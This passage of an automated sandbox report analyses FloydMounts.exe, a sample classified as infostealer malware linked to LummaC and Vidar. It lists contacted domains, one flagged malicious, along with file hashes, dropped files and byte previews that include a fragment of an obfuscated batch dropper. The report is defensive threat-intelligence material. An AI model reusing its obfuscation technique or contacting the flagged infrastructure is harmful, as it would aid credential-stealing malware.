http://www.snapfiles.com)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclResource	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it/zg5/external_app.htmopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0D	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.7-zip.org)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jrsoftware.org/	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclSecurit	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://antivirus.zipgenius.itopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.quickzip.org	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.reggiocal.it	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclCompress	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclSysInfo.	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp, FloydMounts.exe	false		high
http://repository.certum.pl/ctnca.cer09	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
http://forum.zipgenius.itopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/windows/JclShell.p	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.winmagazine.it)	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclMime.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://forum.wininizio.it	ulu_mon.exe, 0000002F.00000002.3174780608.0000000010C5B000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000000.3084576961.000000000105E000.00000002.00000001.01000000.0000000D.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.itopenU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://help.zipgenius.itU	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.vmware.com/0/	ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.zipgenius.com/index.php?id=94	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://downloads.zipgenius.it	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://www.zipgenius.it/zg5/external_app.htm	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://faq.zipgenius.com/	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://www.certum.pl/CPS0	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/zlibh.pas	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://help.zipgenius.com	ulu_mon.exe, 0000002F.00000000.3082301174.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, ulu_mon.exe, 0000002F.00000002.3174780608.0000000010015000.00000004.00000020.00020000.00000000.sdmp, is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclLogic.pa	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/cscasha2.crl0q	X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://jcl.svn.sourceforge.net:443/svnroot/jcl/tags/JCL-2.2-Build3845/jcl/source/common/JclFileUtil	is-PGV92.tmp.20.dr	false	Avira URL Cloud: safe	unknown
http://cscasha2.ocsp-certum.com04	X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2569814319.0000000001030000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000003.2563365682.0000000003830000.00000004.00001000.00020000.00000000.sdmp, X4PCDQPDT1B8IDPB7SN83.tmp, 00000014.00000003.3093420378.0000000002630000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.74.235	klipjarifaa.shop	United States		13335	CLOUDFLARENETUS	false
104.21.25.41	wetlivelky.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581279
Start date and time:	2024-12-27 10:10:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FloydMounts.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@79/31@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 32 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:10:55	API Interceptor	1x Sleep call for process: FloydMounts.exe modified
04:11:33	API Interceptor	13x Sleep call for process: Produces.com modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
CLOUDFLARENETUS	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.74.235 104.21.25.41
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.74.235 104.21.25.41
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	104.21.74.235 104.21.25.41

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\174436\Produces.com	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	script.ps1	Get hash	malicious	Vidar	Browse
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	PodcastsTries.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\174436\Produces.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: installer.bat, Detection: malicious, Browse Filename: skript.bat, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse Filename: yoda.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse Filename: script.ps1, Detection: malicious, Browse Filename: installer_1.05_36.4.zip, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: PodcastsTries.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\174436\U

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	460377
Entropy (8bit):	7.999632398947576
Encrypted:	true
SSDEEP:	12288:6BjzmEfUbGpNFnCrH/ZT5zJYB0oYiaKf+99A6zBJJB0doJu+2dcvMWXh:oq+AK7Cr53CZYiaKf+99zBLZYFckWx
MD5:	3423C47FCBF517D14A59D1469F20E531
SHA1:	B8BE0F23C4C1D6708DE707D08EE2BD2DA198355E
SHA-256:	F5F7D047A38D4E6EE68B1D4EC4824F692A87674A9C0608BD190C352FA3260E91
SHA-512:	0E626CBFFA15FB09E16CDACA332AA99654B2A3EA6E97B3892D01B619F1B72DF36CB47163281F0DC9992C0F66006CFB225385922C4FACF725D7485AA17B61909E
Malicious:	false
Preview:	...2.n.A..;..b.[.w....O6.r.C..I.u,..-...t..gZ....!.]....'..p..yJ....ibm....=...E.(.... ...........F..sZ..T.......2)...juhw}...e~.d.im.T...n.%..wa..97X!I.......`....u.T....C.e{..D..i.b...6\4..bI.t..%.......{..i.........c....2.!)^.qDl....3w.g.EY.P..,...OH.z...Z..zHg.,..q.....5L.#F.2._..R.".......N....V...Sq<Dg.......o.-n..>78..$..YJ..S^...s...Or._:(.T.......:.i.(.Q.>.........v...X.j{'.\|.g.\9.].'.q.........,...q#...N)...I..........^c.sg0aO..d.K.jZG1:...[.&H........J...q&..6.68<]......c....:..jH".>.tM....$......r...91...6j...`..=Lp..%.....HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....2.G.'.F...h..............W.......W......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...

C:\Users\user\AppData\Local\Temp\Administration

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	5.612342605919228
Encrypted:	false
SSDEEP:	1536:hKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2+9BGmdATGODv7xvTw:96whxjgarB/5elDWy4ZNoGmROL7F8
MD5:	0B03608004F35CB86149E3D73B114140
SHA1:	1DE540EF6599AB4364DAD778EAF3B85D734431B8
SHA-256:	453DA8DC2BBF24B0DB78A7BC158B22226A0F1E3C26A5A0E9BDB7198E708F009A
SHA-512:	BEAE9C49B640A44A243A97C6A43CB6EB8C49F6625874519494D8E0FACDE664D2D63FF9A46C9D144A917A8A42FC5C431D958FE0713FF03B52CD940C6647AFD884
Malicious:	false
Preview:	.....................................................................................................................................................................................................................................................r.r...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................r.r.................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.........r.......................................................r.....r...r.r...r.....................r.........r...r...r.r.r.r.r.r...r.r.r

C:\Users\user\AppData\Local\Temp\Array

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.479185291916021
Encrypted:	false
SSDEEP:	3072:sjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mjccBiqXvpgF4qv+32eOyK5:sjGgQaE/loUDtf0accB3gBmmLD
MD5:	DC1DB0397E6BE0E1D208E452B171BFF9
SHA1:	1BDBC6E06AEA702CA5EC4435A34C9BF437D272A7
SHA-256:	8C7F3AA431CCE318CD09F514F6031FCB436D3CC9BCEB5AD25970DD725A845813
SHA-512:	6945BD1AFA6F6985A5EB0A2CE95BF471B7CC299CEDA43A860D38433B8AB55F2D111829DB2C3723398E4769CE5C8473A6A11FF9859191AB856A1C90548E8BAD70
Malicious:	false
Preview:	..............................................................................................................?E...@...@..?E...@..?E.F>E..?E..@E..@E..?E.....U..Q.U.SVW.r....E............u..u...R....._^[..]........(...P..3..$.(.@..u.Q......_^[..]....u...R.9..._^[..]....E...PR.Y....L...._^[..]...j..E...PR....._^[..]...8.m.....'O....l......?O....h....^0..t..N ......N..w...j8V..........h...2...m.....d..._^[..]....u...R.%..._^[..].....m......d.....h......N...R..E.B....R.._^[..]....u...R..N.._^[..]....u....PN.._^[..]....u.Q....Q.._^[..]....E...PR...._^[..]...j..E...PR...._^[..]....u...R..L.._^[..]...j..E...PR...._^[..]....o.@.vEE.e.@.e.@...@...@...@...@...@...@...@.vEE.vEE.vEE.RDE.Q.@.bDE.rDE..DE..DE..DE..DE...@..DE...@...@..DE..DE.*EE...@...@...@.vEE.UEE.fEE.vEE.vEE.vEE.vEE..EE..DE.....U......S.].3.VW...E......s...}..E......E......E.........$........@.f..AtUf..N......f..O......f..Rt;f..G......f..H......f..St!f..Tt.f..Ut.f..Vt.f......N.......u........U..E...E......83..}.E.E.9..3

C:\Users\user\AppData\Local\Temp\Blvd

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8007
Entropy (8bit):	5.1937108112219
Encrypted:	false
SSDEEP:	192:oxPFgwb+W4q0Pl/onswN1OGfreek0k6DvznG88ePAciTTi7p:obxHTGposAjxk56fbOY7p
MD5:	0F4371FEDD805D205169F1F77DB16001
SHA1:	8135CD7E0B547538473356FC3819F54094B5ECF3
SHA-256:	31D64EF03D4E461C506B133B6A4887A983FC3C92ED318306C257843FE5F87074
SHA-512:	FAEC381E17EBBA9334C9269AF37DEA914106AF0F6EABAEFFE13D1827E65BC38ED480AF2E3399BC99D11B255EEFA1E1E7E516FC90FEC055A9B720E5431CCFB459
Malicious:	false
Preview:	Set Bike=Y..qaoEvolution-Textbook-Blocking-Aids-Coach-..ltrCommunications-Excessive-Stolen-Watt-Chevrolet-Shelf-Audi-..SgCgi-..lXxHeated-Calm-Republic-Named-Gift-Tramadol-Gnu-Herself-S-..nqREnemy-Waste-Saturday-Had-Webster-Poet-Lending-Relevance-..DYATCloudy-Hormone-Tested-Attend-..BPXdSender-..nCzMurphy-Allowed-Abuse-Insulin-Sample-..JQQuite-Hungary-Playlist-Copyrighted-Committees-Orchestra-Supplied-Amber-Whilst-..Set Marco=z..VYTeachers-Drain-Absorption-..EPlgMv-Terrorists-Instances-Window-Relying-Tn-Supporters-Hometown-..eHYAPrize-Puerto-..MARWishlist-Hey-Sluts-Filme-Trans-Scott-Rope-..UvxConvicted-..Set Pg=r..fsjEgypt-Love-Technological-Ease-..QhStCreature-Pussy-Livesex-..LgdsFormat-..DvInline-Tired-Crawford-..EAGirlfriend-Preparing-..OKPDem-Glen-Baseball-Prototype-..cnzYea-..CgYfCigarettes-Recovered-Ben-Orgasm-Sorry-Stolen-Now-Dishes-..ErAids-Arkansas-Trail-Aids-Journalist-Uses-Bind-Physically-..Set Grams=H..RSESupplemental-Notices-Hazards-Sec-Consultation-Ja-Delivery-Bible-Cloth-

C:\Users\user\AppData\Local\Temp\Blvd.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8007
Entropy (8bit):	5.1937108112219
Encrypted:	false
SSDEEP:	192:oxPFgwb+W4q0Pl/onswN1OGfreek0k6DvznG88ePAciTTi7p:obxHTGposAjxk56fbOY7p
MD5:	0F4371FEDD805D205169F1F77DB16001
SHA1:	8135CD7E0B547538473356FC3819F54094B5ECF3
SHA-256:	31D64EF03D4E461C506B133B6A4887A983FC3C92ED318306C257843FE5F87074
SHA-512:	FAEC381E17EBBA9334C9269AF37DEA914106AF0F6EABAEFFE13D1827E65BC38ED480AF2E3399BC99D11B255EEFA1E1E7E516FC90FEC055A9B720E5431CCFB459
Malicious:	false
Preview:	Set Bike=Y..qaoEvolution-Textbook-Blocking-Aids-Coach-..ltrCommunications-Excessive-Stolen-Watt-Chevrolet-Shelf-Audi-..SgCgi-..lXxHeated-Calm-Republic-Named-Gift-Tramadol-Gnu-Herself-S-..nqREnemy-Waste-Saturday-Had-Webster-Poet-Lending-Relevance-..DYATCloudy-Hormone-Tested-Attend-..BPXdSender-..nCzMurphy-Allowed-Abuse-Insulin-Sample-..JQQuite-Hungary-Playlist-Copyrighted-Committees-Orchestra-Supplied-Amber-Whilst-..Set Marco=z..VYTeachers-Drain-Absorption-..EPlgMv-Terrorists-Instances-Window-Relying-Tn-Supporters-Hometown-..eHYAPrize-Puerto-..MARWishlist-Hey-Sluts-Filme-Trans-Scott-Rope-..UvxConvicted-..Set Pg=r..fsjEgypt-Love-Technological-Ease-..QhStCreature-Pussy-Livesex-..LgdsFormat-..DvInline-Tired-Crawford-..EAGirlfriend-Preparing-..OKPDem-Glen-Baseball-Prototype-..cnzYea-..CgYfCigarettes-Recovered-Ben-Orgasm-Sorry-Stolen-Now-Dishes-..ErAids-Arkansas-Trail-Aids-Journalist-Uses-Bind-Physically-..Set Grams=H..RSESupplemental-Notices-Hazards-Sec-Consultation-Ja-Delivery-Bible-Cloth-

C:\Users\user\AppData\Local\Temp\Briefing

Download File

Process:	C:\Users\user\Desktop\FloydMounts.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	7.997764535653874
Encrypted:	true
SSDEEP:	1536:svMJtkzHNF//NSioSkKKS5dy7P/99PGc8qscYlQjUiLIoN6bQ8P+i:svstkzHN5/NSio5KK2dy7n99PGc8qO6a
MD5:	833A38804CE5E440AB3DD45275910047
SHA1:	73C3D2FEF9BC559094BDC4E40EC8111D70B65CB8
SHA-256:	4AA965BC75ABAAB053598FD8B15B52A980CEE035BE5585143DB44FE9A810350F
SHA-512:	FD1158472ED0DB8DDA376EE99A1EA892732442145B33BB35851C6052DDABD85B4EB8FEEA8E4700E5A8E6050C489706973858954A413CFEBC5DA2B60B83DBAA3A
Malicious:	false
Preview:	.....Er......f...`...W..f.......v9..>..:.`/\.........%..fYn....!.P..:..0.,......+Rr.W{v......@....+>..q"..cfsq.....;o6......@<.:..K...).(;].@.wb.Vt....k..m.u...tC....Z@$..@l.K.&%.E............>..[q...U ...y:'~..).A....2^H.#.h{zo..#..%.X=.M.]f....?kuV..r....D.R.T.2e..#Z...f......S..jxh...z{....U...d6~.BU.....g..ji....0..E..%U........D.....e.....J.....Ut.!l..........NE.].....0.Y.T.=`.....8.=.......n.L...H)}...E....\>..M2....T...Ww.E..F\|2_xkD..PN...@T.b".s(}...09T3.3}.1.)..Y......4t...g.L[..".../Q.."..\h....X!.D.Y_..K0;f[...lO.=v.x...yq[^.k'.N..^...T....A5G.......~....ti4....z...d..-.i.....fIyi..X;..3..}{...R..Qh.8.7.....,..!.4-.....V..Z=.&.....[..~.h.]..../k......i.(...1.....M6.....wSD.....H7:...c.lNr......vv....l.......H......A..._.I....NH!.[.o...m.. ...#..8......Z.$[....H.C6.C.q..II..5....v;.N.8..^.....Aze.}....@m.U.T.S)j#d...$...E.7.s-......,..AC."LK[i.1..@.3\|MMu}x#z".LN....\w....q7,.a..X.l.......DWi..s.R..N...g.m.28.......p.7..:y..V..

C:\Users\user\AppData\Local\Temp\Commander

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	151552
Entropy (8bit):	6.711405673091829
Encrypted:	false
SSDEEP:	3072:CdTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQ7t8T6pUkBJRM:LHS3zcNPj0nEo3tb2j6AUkBk
MD5:	4BF49C43B91525D14EE465C7E9F11C9B
SHA1:	C2E2A210C6E15C41BAB0139CDBC1C709B0A80263
